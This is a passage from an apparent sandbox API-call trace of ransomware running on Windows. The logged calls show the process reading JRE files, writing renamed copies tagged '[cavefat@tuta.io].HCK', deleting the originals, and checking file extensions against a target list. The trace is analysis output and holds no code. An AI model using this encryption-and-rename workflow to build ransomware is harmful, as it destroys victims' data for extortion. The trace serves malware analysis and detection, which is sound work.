hFile=0x2d0, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0177.615] ReadFile (in: hFile=0x2d0, lpBuffer=0x3628058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3628058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0177.621] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.621] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0177.621] ReadFile (in: hFile=0x2d0, lpBuffer=0x3668058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3668058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0177.645] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.645] WriteFile (in: hFile=0x2d0, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfca8*=0xc0102, lpOverlapped=0x0) returned 1 [0177.657] SetEndOfFile (hFile=0x2d0) returned 1 [0177.657] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e89058 [0177.660] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0177.660] WriteFile (in: hFile=0x2d0, lpBuffer=0x3e89058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e89058*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.661] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0177.661] WriteFile (in: hFile=0x2d0, lpBuffer=0x3e89058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e89058*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.664] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0177.664] WriteFile (in: hFile=0x2d0, lpBuffer=0x3e89058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e89058*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0177.666] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e89058 | out: hHeap=0x6b0000) returned 1 [0177.666] CloseHandle (hObject=0x2d0) returned 1 [0177.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x21) returned 1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.666] lstrlenW (lpString=".doc") returned 4 [0177.666] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0177.666] lstrlenW (lpString=".docx") returned 5 [0177.666] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0177.666] lstrlenW (lpString=".pdf") returned 4 [0177.666] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0177.666] lstrlenW (lpString=".xls") returned 4 [0177.666] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0177.666] lstrlenW (lpString=".xlsx") returned 5 [0177.666] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0177.666] lstrlenW (lpString=".ppt") returned 4 [0177.666] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.666] lstrlenW (lpString=".zip") returned 4 [0177.666] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0177.666] lstrlenW (lpString=".rar") returned 4 [0177.666] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0177.666] lstrlenW (lpString=".bz2") returned 4 [0177.666] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0177.666] lstrlenW (lpString=".7z") returned 3 [0177.666] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.666] lstrlenW (lpString=".dbf") returned 4 [0177.666] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.666] lstrlenW (lpString=".1cd") returned 4 [0177.667] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.667] lstrlenW (lpString=".jpg") returned 4 [0177.667] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.667] lstrlenW (lpString=".doc") returned 4 [0177.667] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0177.667] lstrlenW (lpString=".docx") returned 5 [0177.667] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0177.667] lstrlenW (lpString=".pdf") returned 4 [0177.667] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0177.667] lstrlenW (lpString=".xls") returned 4 [0177.667] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0177.667] lstrlenW (lpString=".xlsx") returned 5 [0177.667] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0177.667] lstrlenW (lpString=".ppt") returned 4 [0177.667] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.667] lstrlenW (lpString=".zip") returned 4 [0177.667] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0177.667] lstrlenW (lpString=".rar") returned 4 [0177.667] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0177.667] lstrlenW (lpString=".bz2") returned 4 [0177.667] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0177.667] lstrlenW (lpString=".7z") returned 3 [0177.667] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.667] lstrlenW (lpString=".dbf") returned 4 [0177.667] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.667] lstrlenW (lpString=".1cd") returned 4 [0177.667] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0177.667] lstrlenW (lpString=".jpg") returned 4 [0177.667] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0177.667] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0177.667] lstrlenW (lpString="t2k.dll") returned 7 [0177.668] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0177.709] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=255040) returned 1 [0177.709] CloseHandle (hObject=0x390) returned 1 [0177.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0177.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0177.713] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.713] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0180.848] GetLastError () returned 0x0 [0180.848] ReadFile (in: hFile=0x354, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x3e440, lpOverlapped=0x0) returned 1 [0180.855] WriteFile (in: hFile=0x3a0, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x3e450, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x3e450, lpOverlapped=0x0) returned 1 [0180.858] ReadFile (in: hFile=0x354, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.858] WriteFile (in: hFile=0x3a0, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xe2, lpOverlapped=0x0) returned 1 [0180.858] SetEndOfFile (hFile=0x3a0) returned 1 [0180.861] CloseHandle (hObject=0x3a0) returned 1 [0180.864] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.864] SetEndOfFile (hFile=0x354) returned 1 [0180.872] CloseHandle (hObject=0x354) returned 1 [0180.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0180.873] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 1 [0180.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.873] lstrlenW (lpString=".doc") returned 4 [0180.873] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0180.873] lstrlenW (lpString=".docx") returned 5 [0180.873] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0180.873] lstrlenW (lpString=".pdf") returned 4 [0180.873] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0180.873] lstrlenW (lpString=".xls") returned 4 [0180.873] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0180.873] lstrlenW (lpString=".xlsx") returned 5 [0180.873] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0180.873] lstrlenW (lpString=".ppt") returned 4 [0180.873] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0180.873] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.873] lstrlenW (lpString=".zip") returned 4 [0180.874] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString=".rar") returned 4 [0180.874] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString=".bz2") returned 4 [0180.874] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0180.874] lstrlenW (lpString=".7z") returned 3 [0180.874] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString=".dbf") returned 4 [0180.874] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString=".1cd") returned 4 [0180.874] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString=".jpg") returned 4 [0180.874] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString=".doc") returned 4 [0180.874] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString=".docx") returned 5 [0180.874] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0180.874] lstrlenW (lpString=".pdf") returned 4 [0180.874] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString=".xls") returned 4 [0180.874] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString=".xlsx") returned 5 [0180.874] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0180.874] lstrlenW (lpString=".ppt") returned 4 [0180.874] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString=".zip") returned 4 [0180.874] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString=".rar") returned 4 [0180.874] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0180.874] lstrlenW (lpString=".bz2") returned 4 [0180.874] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0180.874] lstrlenW (lpString=".7z") returned 3 [0180.874] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString=".dbf") returned 4 [0180.874] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString=".1cd") returned 4 [0180.874] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0180.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0180.874] lstrlenW (lpString=".jpg") returned 4 [0180.874] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0180.875] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0180.875] lstrlenW (lpString="w2k_lsa_auth.dll") returned 16 [0180.875] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0180.877] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=24128) returned 1 [0180.877] CloseHandle (hObject=0x3a8) returned 1 [0180.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0180.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0180.878] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.878] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0180.881] GetLastError () returned 0x0 [0180.881] ReadFile (in: hFile=0x354, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x5e40, lpOverlapped=0x0) returned 1 [0180.890] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x5e50, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x5e50, lpOverlapped=0x0) returned 1 [0180.891] ReadFile (in: hFile=0x354, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.891] WriteFile (in: hFile=0x2e8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xf4, lpOverlapped=0x0) returned 1 [0180.891] SetEndOfFile (hFile=0x2e8) returned 1 [0180.895] CloseHandle (hObject=0x2e8) returned 1 [0180.902] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.902] SetEndOfFile (hFile=0x354) returned 1 [0180.904] CloseHandle (hObject=0x354) returned 1 [0180.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0180.906] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 1 [0180.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.906] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.906] lstrlenW (lpString=".doc") returned 4 [0180.906] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0180.906] lstrlenW (lpString=".docx") returned 5 [0180.906] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0180.906] lstrlenW (lpString=".pdf") returned 4 [0180.906] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0180.906] lstrlenW (lpString=".xls") returned 4 [0180.906] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString=".xlsx") returned 5 [0180.907] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0180.907] lstrlenW (lpString=".ppt") returned 4 [0180.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.907] lstrlenW (lpString=".zip") returned 4 [0180.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString=".rar") returned 4 [0180.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString=".bz2") returned 4 [0180.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0180.907] lstrlenW (lpString=".7z") returned 3 [0180.907] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0180.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.907] lstrlenW (lpString=".dbf") returned 4 [0180.907] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0180.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.907] lstrlenW (lpString=".1cd") returned 4 [0180.907] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0180.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.907] lstrlenW (lpString=".jpg") returned 4 [0180.907] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.907] lstrlenW (lpString=".doc") returned 4 [0180.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString=".docx") returned 5 [0180.907] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0180.907] lstrlenW (lpString=".pdf") returned 4 [0180.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString=".xls") returned 4 [0180.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString=".xlsx") returned 5 [0180.907] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0180.907] lstrlenW (lpString=".ppt") returned 4 [0180.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.907] lstrlenW (lpString=".zip") returned 4 [0180.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString=".rar") returned 4 [0180.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0180.907] lstrlenW (lpString=".bz2") returned 4 [0180.907] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0180.908] lstrlenW (lpString=".7z") returned 3 [0180.908] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0180.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.908] lstrlenW (lpString=".dbf") returned 4 [0180.908] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0180.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.908] lstrlenW (lpString=".1cd") returned 4 [0180.908] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0180.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0180.908] lstrlenW (lpString=".jpg") returned 4 [0180.908] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0180.908] lstrcmpiW (lpString1=".0_144\\COPYRIGHT", lpString2=".HCK") returned -1 [0180.908] lstrlenW (lpString="COPYRIGHT") returned 9 [0180.908] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.910] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3244) returned 1 [0180.910] CloseHandle (hObject=0x390) returned 1 [0180.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 0x20 [0180.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.917] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.917] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.917] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 287 os_tid = 0x1184 [0147.765] RtlAllocateHeap 